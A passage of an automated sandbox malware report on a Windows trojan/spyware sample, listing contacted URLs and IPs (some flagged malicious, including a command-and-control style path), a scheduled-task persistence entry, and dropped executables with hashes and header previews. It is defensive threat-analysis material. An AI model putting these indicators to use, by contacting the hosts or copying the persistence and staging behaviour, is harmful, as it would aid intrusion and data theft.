http://trustmanager.ug/k8FppT/index.phpnnection	rnyuf.exe, 00000021.00000002.533972719.0000000005A30000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://www.sakkal.com	explorer.exe, 00000004.00000000.271819647.000000000BE76000.00000002.00000001.sdmp	false	URL Reputation: safe	unknown
https://ipinfo.io/ip%appdata%	ABA5.exe, 00000014.00000002.465939919.0000000005535000.00000004.00000001.sdmp	false		high
http://www.apache.org/licenses/LICENSE-2.0	explorer.exe, 00000004.00000000.271819647.000000000BE76000.00000002.00000001.sdmp	false		high
http://www.fontbureau.com	explorer.exe, 00000004.00000000.271819647.000000000BE76000.00000002.00000001.sdmp	false		high
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	ABA5.exe, 00000014.00000002.462864068.0000000004793000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous	ABA5.exe, 00000014.00000002.461195105.0000000004531000.00000004.00000001.sdmp	false		high
http://trustmanager.ug/k8FppT/index.php/	rnyuf.exe, 00000021.00000003.498140288.0000000005A5E000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://api.ip.sb4	ABA5.exe, 00000014.00000002.461322183.000000000457D000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
https://helpx.ad	ABA5.exe, 00000014.00000002.462864068.0000000004793000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://tempuri.org/Endpoint/CheckConnect	ABA5.exe, 00000014.00000002.461195105.0000000004531000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://search.yahoo.com/favicon.icohttps://search.yahoo.com/search	ABA5.exe, 00000014.00000002.462864068.0000000004793000.00000004.00000001.sdmp	false		high

Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public

IP	Domain	Country	ASN	ASN Name	Malicious
187.190.48.60	unknown	Mexico	22884	TOTALPLAYTELECOMUNICACIONESSADECVMX	false
162.159.130.233	cdn.discordapp.com	United States	13335	CLOUDFLARENETUS	false
148.101.76.245	atvcampingtrips.com	Dominican Republic	6400	CompaniaDominicanadeTelefonosSADO	false
45.138.172.28	unknown	Germany	30823	COMBAHTONcombahtonGmbHDE	true
185.215.113.206	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
193.142.59.248	unknown	Netherlands	208046	HOSTSLICK-GERMANYNL	true
193.38.55.57	unknown	Russian Federation	50673	SERVERIUS-ASNL	false

Private

IP
192.168.2.1

General Information

Joe Sandbox Version:	33.0.0 White Diamond
Analysis ID:	469263
Start date:	21.08.2021
Start time:	21:44:10
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 14m 53s
Hypervisor based Inspection enabled:	false
Report type:	full
Sample file name:	b7cwlpwH6S.exe
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211
Number of analysed new started processes analysed:	39
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@19/32@63/8
EGA Information:	Failed
HDC Information:	Successful, ratio: 6.8% (good quality ratio 5.2%) Quality average: 55% Quality standard deviation: 38%
HCA Information:	Successful, ratio: 86% Number of executed functions: 96 Number of non-executed functions: 92
Cookbook Comments:	Adjust boot time Enable AMSI Found application associated with file extension: .exe
Warnings:	Show All Behavior information exceeds normal sizes, reducing to normal. Report will have missing behavior information. Exclude process from analysis (whitelisted): MpCmdRun.exe, BackgroundTransferHost.exe, backgroundTaskHost.exe, SgrmBroker.exe, conhost.exe, WmiPrvSE.exe, svchost.exe, wuapihost.exe Excluded IPs from analysis (whitelisted): 20.73.194.208, 204.79.197.200, 13.107.21.200, 51.124.78.146, 20.50.102.62, 23.211.6.115, 23.211.4.86, 20.82.210.154, 173.222.108.226, 173.222.108.210, 20.54.110.249, 40.112.88.60, 80.67.82.211, 80.67.82.235, 104.26.12.31, 104.26.13.31, 172.67.75.172 Excluded domains from analysis (whitelisted): au.download.windowsupdate.com.edgesuite.net, store-images.s-microsoft.com-c.edgekey.net, iris-de-prod-azsc-neu-b.northeurope.cloudapp.azure.com, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, a1449.dscg2.akamai.net, arc.msn.com, e12564.dspb.akamaiedge.net, consumer-displaycatalogrp-aks2aks-europe.md.mp.microsoft.com.akadns.net, www-bing-com.dual-a-0001.a-msedge.net, audownload.windowsupdate.nsatc.net, arc.trafficmanager.net, displaycatalog.mp.microsoft.com, img-prod-cms-rt-microsoft-com.akamaized.net, prod.fs.microsoft.com.akadns.net, au-bg-shim.trafficmanager.net, www.bing.com, api.ip.sb.cdn.cloudflare.net, fs.microsoft.com, dual-a-0001.a-msedge.net, displaycatalog-rp-europe.md.mp.microsoft.com.akadns.net, neu-displaycatalogrp.useroor.bigcatalog.commerce.microsoft.com, ris-prod.trafficmanager.net, asf-ris-prod-neu.northeurope.cloudapp.azure.com, settings-win.data.microsoft.com, e1723.g.akamaiedge.net, ctldl.windowsupdate.com, a767.dscg3.akamai.net, iris-de-prod-azsc-uks.uksouth.cloudapp.azure.com, settingsfd-geo.trafficmanager.net, ris.api.iris.microsoft.com, a-0001.a-afdentry.net.trafficmanager.net, store-images.s-microsoft.com, displaycatalog-rp.md.mp.microsoft.com.akadns.net Not all processes where analyzed, report is missing behavior information Report creation exceeded maximum time and may have missing disassembly code information. Report size exceeded maximum capacity and may have missing behavior information. Report size getting too big, too many NtAllocateVirtualMemory calls found. Report size getting too big, too many NtDeviceIoControlFile calls found. Report size getting too big, too many NtOpenKeyEx calls found. Report size getting too big, too many NtProtectVirtualMemory calls found. Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
21:45:49	Task Scheduler	Run new task: Firefox Default Browser Agent CF8BC45161B4EC7B path: C:\Users\user\AppData\Roaming\trgavvb
21:46:26	API Interceptor	87x Sleep call for process: ABA5.exe modified
21:46:55	API Interceptor	242x Sleep call for process: rnyuf.exe modified
21:46:58	Task Scheduler	Run new task: rnyuf.exe path: C:\Users\user~1\AppData\Local\Temp\bd1299733e\rnyuf.exe

Joe Sandbox View / Context

IPs

No context

Domains

No context

ASN

No context

JA3 Fingerprints

No context

Dropped Files

No context

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\ABA5.exe.log Download File
Process:	C:\Users\user\AppData\Local\Temp\ABA5.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	2502
Entropy (8bit):	5.3347050065951125
Encrypted:	false
SSDEEP:	48:MIHKmfHK5HKXAHKdHKBSTHaAHKzvRYHKhQnoPtHoxHImHKhBHKoHaHZHAHxLHG1D:Pqaq5qXAqdqslqzJYqhQnoPtIxHbqLqT
MD5:	A02B86A593CC846125055A42E4AFBB5E
SHA1:	9B9184C441CE126AC65C2B572AC3DD922F9AF593
SHA-256:	AEEE7B50BD439E0F4A5055A85455C9F1478AA354C2057C58FD7EE601A93059E4
SHA-512:	BE41F4E17F4CB30B5D684FD28A7C04A8A80D249186C43F91234E4CCD17D42B5A16F9F951BBC9EBDCA1CE6B04C5F4F34DBC52A5F39142CB2C075CA4EFD36B3A1E
Malicious:	false
Reputation:	unknown
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..2,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..2,"System.ServiceModel, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\4f0a7eefa3cd3e0ba98b5ebddbbc72e6\System.ni.dll",0..2,"SMDiagnostics, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..3,"System.Runtime.Serialization, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Runteb92aa12#\34957343ad5d84daee97a1affda91665\System.Runtime.Serialization.ni.dll",0..2,"System.ServiceModel.Internals, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Xml\b219d4630d

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\2K7JPOQS\mrmoms[1].exe Download File
Process:	C:\Users\user\AppData\Local\Temp\bd1299733e\rnyuf.exe
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	modified
Size (bytes):	3339952
Entropy (8bit):	7.903790702840263
Encrypted:	false
SSDEEP:	98304:6BcnFw9kNxvgP4kxl2gKaET8YAu3h49GF:6EFwuDvgQHgA8z2
MD5:	7E7F834356CEF33DD6528C8722F71116
SHA1:	407E2B580ADBC6FB6572BCB471E5169D8F8A7E82
SHA-256:	53A4A36A8EA3D2EDBCEEC7EBBD616C6A0B6CDAD1F7D46EAF888DC2FCB7912BCD
SHA-512:	751D65E5B87EAB922BA2BB0D922AC564DF8D72C1C0EEEF26459BAF196C2E9CE7E7C4355326204E7768517DD7E001E5932DDE6209722A2074DDFDCE04A67D058E
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...7........................$........P.. ........@.. ....................... ........3...@.................................:@..P.....}..............2............................................................................................. ..... ...v.................. ..` *............z..............@... ..... ......................@..@ ..... ......................@..@.idata... ...@......................@...800-850 .r...`...r..................`..`.themida..G.........................`....boot.....-...O...-.................`..`800-850 .....`}.......1............. ..`.rsrc........}......81.............@..@................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6M6D1PMD\mrmoms[1].exe Download File
Process:	C:\Users\user\AppData\Local\Temp\bd1299733e\rnyuf.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	5
Entropy (8bit):	1.5219280948873621
Encrypted:	false
SSDEEP:	3:hn:h
MD5:	FDA44910DEB1A460BE4AC5D56D61D837
SHA1:	F6D0C643351580307B2EAA6A7560E76965496BC7
SHA-256:	933B971C6388D594A23FA1559825DB5BEC8ADE2DB1240AA8FC9D0C684949E8C9
SHA-512:	57DDA9AA7C29F960CD7948A4E4567844D3289FA729E9E388E7F4EDCBDF16BF6A94536598B4F9FF8942849F1F96BD3C00BC24A75E748A36FBF2A145F63BF904C1
Malicious:	false
Reputation:	unknown
Preview:	0....

C:\Users\user\AppData\Local\Temp\152138533219 Download File
Process:	C:\Users\user\AppData\Local\Temp\bd1299733e\rnyuf.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, frames 3
Category:	dropped
Size (bytes):	851758
Entropy (8bit):	7.928503689080289
Encrypted:	false
SSDEEP:	24576:Li7hJhCVA/73bUHvA/73bUhevA/73bUheHA/73bUheHA/73bUheHA/73bUheHA/L:QCVmbOmb5mbhmbhmbhmbhmbf
MD5:	29139049FE73C3311799385A46A680DD
SHA1:	50BAE230BD5AFC6F67D7B74F193717BD9875E406
SHA-256:	2E3DD6AE41ECDFC6AF554BBDA3A12FE999681A5BD0E0490E18B79DF07AB2F561
SHA-512:	C39B9B54DF9FBF21C1241288F9FA8E9C814F36BE71A0E12F34A5837C5411546DB5A98C2A207C397FC6964E82980AE28C0CC27D4A59A6110E39C3B5F412A486D5
Malicious:	false
Reputation:	unknown
Preview:	......JFIF.....`.`.....C................................... $.' ",#..(7),01444.'9=82<.342...C...........2!.!22222222222222222222222222222222222222222222222222..........."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?..01KK...lq\....xcS.m..#Hm.....T......<!...wq5...v1.?S.....rHj-.U:...5............\|..+.......}...<.>...H.......Wo.CK`/l.1./...C...W.....,1....R.0.W.M.!.l7.~S....."SW.^..c......^s........u,-n....A..?.2.....l.(.?....7..~.q$.f..1\.q[.....oS:.gOY".....f-%.P.b.Z....>.....4+..b.Y&..F...)Pq.L....... .....H.#.\|..).?.H.'.\|....).?m.....h.t......\|4.%...d....

C:\Users\user\AppData\Local\Temp\15213853321935212556 Download File
Process:	C:\Users\user\AppData\Local\Temp\bd1299733e\rnyuf.exe
File Type:	empty
Category:	modified
Size (bytes):	0
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	D41D8CD98F00B204E9800998ECF8427E
SHA1:	DA39A3EE5E6B4B0D3255BFEF95601890AFD80709
SHA-256:	E3B0C44298FC1C149AFBF4C8996FB92427AE41E4649B934CA495991B7852B855
SHA-512:	CF83E1357EEFB8BDF1542850D66D8007D620E4050B5715DC83F4A921D36CE9CE47D0D13C5D85F2B0FF8318D2877EEC2F63B931BD47417A81A538327AF927DA3E
Malicious:	false
Reputation:	unknown
Preview:

C:\Users\user\AppData\Local\Temp\ABA5.exe Download File
Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	modified
Size (bytes):	348672
Entropy (8bit):	7.139420391589731
Encrypted:	false
SSDEEP:	6144:zibqyT3JHjCd7S46cVUn5+97iDb+u4V4TFe4WSNeX6KE/0TRjY46Z3z:6qo3JHjCd7bVUnU1iy4FTBeqbGRjYl
MD5:	137747225D4A9EC60FB784677A70DCD6
SHA1:	985AA5B5FB468BDBCE3DF83EE18BA4A81F386A1C
SHA-256:	FFC8924E1DACE3844DF936240EA2DD854427EE455360FECF7A3FBC7C4D848771
SHA-512:	C048854B01B2303AF131F382523A507C13750C8C29D22B635A513B5E338FA91BDCC404EFC7DBAA9D5DEB72B165D71EC62B34D72C3AFF86B32A4E1404C5755AEA
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........W.9.6pj.6pj.6pj.d.j.6pj.d.j.6pj.d.j.6pj...j.6pj.6qj.6pj.d.j.6pj.d.j.6pj.d.j.6pjRich.6pj........................PE..L......_.....................*......`!............@.................................j........................................Z..P.... ..............................P...............................hQ..@............................................text...@........................... ..`.rdata..............................@..@.data........p...(...V..............@....rsrc........ .......~..............@..@................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\bd1299733e\rnyuf.exe Download File
Process:	C:\Users\user\AppData\Local\Temp\EFC9.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	modified
Size (bytes):	324608
Entropy (8bit):	7.044006046042165
Encrypted:	false
SSDEEP:	6144:xWIVyaiMXmjZL4t29KR1yqM7t8PyGnFQslqPMCJEW1oK1gz:zVpiMXmjZH9Kv/et8aG+EEEW1okA
MD5:	A037BA041B0B7008141B56E15D9F6A43
SHA1:	E9679C6F09AE734AC3115CB51C2E0F8FD6CC70CD
SHA-256:	5B6216D010D98F1ACE49F92C95703623B255F575552C2E0150CFABD15CF71942
SHA-512:	BA0D1C38B82730A8BE216123AF25D704BA57FA58528AAFF5734B2137BD5A19A125E2AB4BB4BE0D0F8D24CAB58386CF6D504A42234E91CED462749EF8962199FC
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........W.9.6pj.6pj.6pj.d.j.6pj.d.j.6pj.d.j.6pj...j.6pj.6qj.6pj.d.j.6pj.d.j.6pj.d.j.6pjRich.6pj........................PE..L....*Y^............................`!............@.................................0........................................Z..P...................................P...............................hQ..@............................................text...@........................... ..`.rdata..............................@..@.data....D...p.......V..............@....rsrc................ ..............@..@................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\mrmoms\mrmoms.exe Download File
Process:	C:\Users\user\AppData\Local\Temp\bd1299733e\rnyuf.exe
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3339952
Entropy (8bit):	7.903790702840263
Encrypted:	false
SSDEEP:	98304:6BcnFw9kNxvgP4kxl2gKaET8YAu3h49GF:6EFwuDvgQHgA8z2
MD5:	7E7F834356CEF33DD6528C8722F71116
SHA1:	407E2B580ADBC6FB6572BCB471E5169D8F8A7E82
SHA-256:	53A4A36A8EA3D2EDBCEEC7EBBD616C6A0B6CDAD1F7D46EAF888DC2FCB7912BCD
SHA-512:	751D65E5B87EAB922BA2BB0D922AC564DF8D72C1C0EEEF26459BAF196C2E9CE7E7C4355326204E7768517DD7E001E5932DDE6209722A2074DDFDCE04A67D058E
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...7........................$........P.. ........@.. ....................... ........3...@.................................:@..P.....}..............2............................................................................................. ..... ...v.................. ..` *............z..............@... ..... ......................@..@ ..... ......................@..@.idata... ...@......................@...800-850 .r...`...r..................`..`.themida..G.........................`....boot.....-...O...-.................`..`800-850 .....`}.......1............. ..`.rsrc........}......81.............@..@................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp1AB3.tmp Download File
Process:	C:\Users\user\AppData\Local\Temp\ABA5.exe
File Type:	SQLite 3.x database, last written using SQLite version 3032001
Category:	dropped
Size (bytes):	73728
Entropy (8bit):	1.1874185457069584
Encrypted:	false
SSDEEP:	96:I3sa9uKnadsdUDitMkMC1mBKC7g1HFp/GeICEjWTPeKeWbS8pz/YLcs+P+qigSz4:I3rHdMHGTPVbSYgbCP46w/1Vumq
MD5:	72A43D390E478BA9664F03951692D109
SHA1:	482FE43725D7A1614F6E24429E455CD0A920DF7C
SHA-256:	593D9DE27A8CA63553E9460E03FD190DCADD2B96BF63B438B4A92CB05A4D711C
SHA-512:	FF2777DCDDC72561CF694E2347C5755F19A13D4AC2C1A80C74ADEBB1436C2987DFA0CFBE4BAFD8F853281B24CA03ED708BA3400F2144A5EB3F333CC255DAC7CE
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ .......$..................................................................C.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp246.tmp Download File
Process:	C:\Users\user\AppData\Local\Temp\ABA5.exe
File Type:	SQLite 3.x database, last written using SQLite version 3032001
Category:	dropped
Size (bytes):	73728
Entropy (8bit):	1.1874185457069584
Encrypted:	false
SSDEEP:	96:I3sa9uKnadsdUDitMkMC1mBKC7g1HFp/GeICEjWTPeKeWbS8pz/YLcs+P+qigSz4:I3rHdMHGTPVbSYgbCP46w/1Vumq
MD5:	72A43D390E478BA9664F03951692D109
SHA1:	482FE43725D7A1614F6E24429E455CD0A920DF7C
SHA-256:	593D9DE27A8CA63553E9460E03FD190DCADD2B96BF63B438B4A92CB05A4D711C
SHA-512:	FF2777DCDDC72561CF694E2347C5755F19A13D4AC2C1A80C74ADEBB1436C2987DFA0CFBE4BAFD8F853281B24CA03ED708BA3400F2144A5EB3F333CC255DAC7CE
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ .......$..................................................................C.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp2A5.tmp Download File
Process:	C:\Users\user\AppData\Local\Temp\ABA5.exe
File Type:	SQLite 3.x database, last written using SQLite version 3032001
Category:	dropped
Size (bytes):	73728
Entropy (8bit):	1.1874185457069584
Encrypted:	false
SSDEEP:	96:I3sa9uKnadsdUDitMkMC1mBKC7g1HFp/GeICEjWTPeKeWbS8pz/YLcs+P+qigSz4:I3rHdMHGTPVbSYgbCP46w/1Vumq
MD5:	72A43D390E478BA9664F03951692D109
SHA1:	482FE43725D7A1614F6E24429E455CD0A920DF7C
SHA-256:	593D9DE27A8CA63553E9460E03FD190DCADD2B96BF63B438B4A92CB05A4D711C
SHA-512:	FF2777DCDDC72561CF694E2347C5755F19A13D4AC2C1A80C74ADEBB1436C2987DFA0CFBE4BAFD8F853281B24CA03ED708BA3400F2144A5EB3F333CC255DAC7CE
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ .......$..................................................................C.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp2A5B.tmp Download File
Process:	C:\Users\user\AppData\Local\Temp\ABA5.exe
File Type:	SQLite 3.x database, last written using SQLite version 3032001
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.792852251086831
Encrypted:	false
SSDEEP:	48:2i3nBA+IIY1PJzr9URCVE9V8MX0D0HSFlNUfAlGuGYFoNSs8LKvUf9KVyJ7hU:pBCJyC2V8MZyFl8AlG4oNFeymw
MD5:	81DB1710BB13DA3343FC0DF9F00BE49F
SHA1:	9B1F17E936D28684FFDFA962340C8872512270BB
SHA-256:	9F37C9EAF023F2308AF24F412CBD850330C4EF476A3F2E2078A95E38D0FACABB
SHA-512:	CF92D6C3109DAB31EF028724F21BAB120CF2F08F7139E55100292B266A363E579D14507F1865D5901E4B485947BE22574D1DBA815DE2886C118739C3370801F1
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................C.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp2A6.tmp Download File
Process:	C:\Users\user\AppData\Local\Temp\ABA5.exe
File Type:	SQLite 3.x database, last written using SQLite version 3032001
Category:	dropped
Size (bytes):	73728
Entropy (8bit):	1.1874185457069584
Encrypted:	false
SSDEEP:	96:I3sa9uKnadsdUDitMkMC1mBKC7g1HFp/GeICEjWTPeKeWbS8pz/YLcs+P+qigSz4:I3rHdMHGTPVbSYgbCP46w/1Vumq
MD5:	72A43D390E478BA9664F03951692D109
SHA1:	482FE43725D7A1614F6E24429E455CD0A920DF7C
SHA-256:	593D9DE27A8CA63553E9460E03FD190DCADD2B96BF63B438B4A92CB05A4D711C
SHA-512:	FF2777DCDDC72561CF694E2347C5755F19A13D4AC2C1A80C74ADEBB1436C2987DFA0CFBE4BAFD8F853281B24CA03ED708BA3400F2144A5EB3F333CC255DAC7CE
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ .......$..................................................................C.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp3263.tmp Download File
Process:	C:\Users\user\AppData\Local\Temp\ABA5.exe
File Type:	SQLite 3.x database, last written using SQLite version 3032001
Category:	dropped
Size (bytes):	73728
Entropy (8bit):	1.1874185457069584
Encrypted:	false
SSDEEP:	96:I3sa9uKnadsdUDitMkMC1mBKC7g1HFp/GeICEjWTPeKeWbS8pz/YLcs+P+qigSz4:I3rHdMHGTPVbSYgbCP46w/1Vumq
MD5:	72A43D390E478BA9664F03951692D109
SHA1:	482FE43725D7A1614F6E24429E455CD0A920DF7C
SHA-256:	593D9DE27A8CA63553E9460E03FD190DCADD2B96BF63B438B4A92CB05A4D711C
SHA-512:	FF2777DCDDC72561CF694E2347C5755F19A13D4AC2C1A80C74ADEBB1436C2987DFA0CFBE4BAFD8F853281B24CA03ED708BA3400F2144A5EB3F333CC255DAC7CE
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ .......$..................................................................C.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp474A.tmp Download File
Process:	C:\Users\user\AppData\Local\Temp\ABA5.exe
File Type:	SQLite 3.x database, last written using SQLite version 3032001
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6969296358976265
Encrypted:	false
SSDEEP:	24:TLbJLbXaFpEO5bNmISHn06UwcQPx5fBo2+tYeF+X:T5LLOpEO5J/Kn7U1uBo2UYeQ
MD5:	A9DBC7B8E523ABE3B02D77DBF2FCD645
SHA1:	DF5EE16ECF4B3B02E312F935AE81D4C5D2E91CA8
SHA-256:	39B4E45A062DEA6F541C18FA1A15C5C0DB43A59673A26E2EB5B8A4345EE767AE
SHA-512:	3CF87455263E395313E779D4F440D8405D86244E04B5F577BB9FA2F4A2069DE019D340F6B2F6EF420DEE3D3DEEFD4B58DA3FCA3BB802DE348E1A810D6379CC3B
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................C....... ..g... .8....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp477A.tmp Download File
Process:	C:\Users\user\AppData\Local\Temp\ABA5.exe
File Type:	SQLite 3.x database, last written using SQLite version 3032001
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6969296358976265
Encrypted:	false
SSDEEP:	24:TLbJLbXaFpEO5bNmISHn06UwcQPx5fBo2+tYeF+X:T5LLOpEO5J/Kn7U1uBo2UYeQ
MD5:	A9DBC7B8E523ABE3B02D77DBF2FCD645
SHA1:	DF5EE16ECF4B3B02E312F935AE81D4C5D2E91CA8
SHA-256:	39B4E45A062DEA6F541C18FA1A15C5C0DB43A59673A26E2EB5B8A4345EE767AE
SHA-512:	3CF87455263E395313E779D4F440D8405D86244E04B5F577BB9FA2F4A2069DE019D340F6B2F6EF420DEE3D3DEEFD4B58DA3FCA3BB802DE348E1A810D6379CC3B
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................C....... ..g... .8....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpB19B.tmp Download File
Process:	C:\Users\user\AppData\Local\Temp\ABA5.exe
File Type:	SQLite 3.x database, last written using SQLite version 3032001
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.792852251086831
Encrypted:	false
SSDEEP:	48:2i3nBA+IIY1PJzr9URCVE9V8MX0D0HSFlNUfAlGuGYFoNSs8LKvUf9KVyJ7hU:pBCJyC2V8MZyFl8AlG4oNFeymw
MD5:	81DB1710BB13DA3343FC0DF9F00BE49F
SHA1:	9B1F17E936D28684FFDFA962340C8872512270BB
SHA-256:	9F37C9EAF023F2308AF24F412CBD850330C4EF476A3F2E2078A95E38D0FACABB
SHA-512:	CF92D6C3109DAB31EF028724F21BAB120CF2F08F7139E55100292B266A363E579D14507F1865D5901E4B485947BE22574D1DBA815DE2886C118739C3370801F1
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................C.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpB1DB.tmp Download File
Process:	C:\Users\user\AppData\Local\Temp\ABA5.exe
File Type:	SQLite 3.x database, last written using SQLite version 3032001
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.792852251086831
Encrypted:	false
SSDEEP:	48:2i3nBA+IIY1PJzr9URCVE9V8MX0D0HSFlNUfAlGuGYFoNSs8LKvUf9KVyJ7hU:pBCJyC2V8MZyFl8AlG4oNFeymw
MD5:	81DB1710BB13DA3343FC0DF9F00BE49F
SHA1:	9B1F17E936D28684FFDFA962340C8872512270BB
SHA-256:	9F37C9EAF023F2308AF24F412CBD850330C4EF476A3F2E2078A95E38D0FACABB
SHA-512:	CF92D6C3109DAB31EF028724F21BAB120CF2F08F7139E55100292B266A363E579D14507F1865D5901E4B485947BE22574D1DBA815DE2886C118739C3370801F1
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................C.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpB5B6.tmp Download File
Process:	C:\Users\user\AppData\Local\Temp\ABA5.exe
File Type:	SQLite 3.x database, last written using SQLite version 3032001
Category:	dropped
Size (bytes):	73728
Entropy (8bit):	1.1874185457069584
Encrypted:	false
SSDEEP:	96:I3sa9uKnadsdUDitMkMC1mBKC7g1HFp/GeICEjWTPeKeWbS8pz/YLcs+P+qigSz4:I3rHdMHGTPVbSYgbCP46w/1Vumq
MD5:	72A43D390E478BA9664F03951692D109
SHA1:	482FE43725D7A1614F6E24429E455CD0A920DF7C
SHA-256:	593D9DE27A8CA63553E9460E03FD190DCADD2B96BF63B438B4A92CB05A4D711C
SHA-512:	FF2777DCDDC72561CF694E2347C5755F19A13D4AC2C1A80C74ADEBB1436C2987DFA0CFBE4BAFD8F853281B24CA03ED708BA3400F2144A5EB3F333CC255DAC7CE
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ .......$..................................................................C.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpB5B7.tmp Download File
Process:	C:\Users\user\AppData\Local\Temp\ABA5.exe
File Type:	SQLite 3.x database, last written using SQLite version 3032001
